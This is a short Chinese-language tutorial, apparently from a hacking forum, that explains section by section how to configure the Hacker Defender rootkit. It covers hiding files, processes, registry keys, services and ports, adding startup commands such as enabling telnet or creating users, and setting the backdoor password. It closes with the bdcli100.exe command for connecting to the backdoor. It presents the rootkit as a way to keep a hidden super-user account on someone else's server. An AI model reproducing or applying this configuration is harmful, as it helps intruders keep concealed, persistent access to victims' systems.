Rootkit木马超级详细介绍

[Hidden Table]
hxdnadmin*
rcmd.exe

这个的意思是隐藏在资源管理器里显示的
hxdnadmin007.exe 马的名字 hxdnadmin* *号你应该知道的。通配符
只要文件名字开头 是 hxdnadmin 后面不管是什么 在资源管理器里都是 看不到的。

[Root Processes]
hxdnadmin*
rcmd.exe

这是隐藏进程里显示的
[Hidden RegKeys]
HackerDefender100
LEGACY_HACKERDEFENDER100
HackerDefenderDrv100
LEGACY_HACKERDEFENDERDRV100
xw

[Hidden RegValues]
xw
[Hidden Services]
xw*
这几个都是隐藏注册标里的，隐藏服务。。比如我们可以用这马建立超级用户后门。。
做超级隐藏用户。这样的话别人就看不到我们的帐号了。

[Startup Run]
这个是马启动的时候 带启动程序
比如 c:\xw.exe
也可以加上命令
比如 开启telnet 服务。或加用户

[Hidden Ports]
tcp:80,21,23,25,110,8080,1080,1433,3389,
这是我们连接服务器所用的端口

[Settings]
Password=xiaoweiai 密码 连接服务器所用的密码

ServiceName=Defender
ServiceDisplayName=HXD Servic
ServiceDescription=powerful NT rootkit
DriverName=HackerDefenderDrv100
DriverFileName=hxdnadmindrv.sys

这几个是 服务的描述 我去服务器演示下
bdcli100.exe 这个是连接工具 使用命令bdcli100.exe ip 端口 密码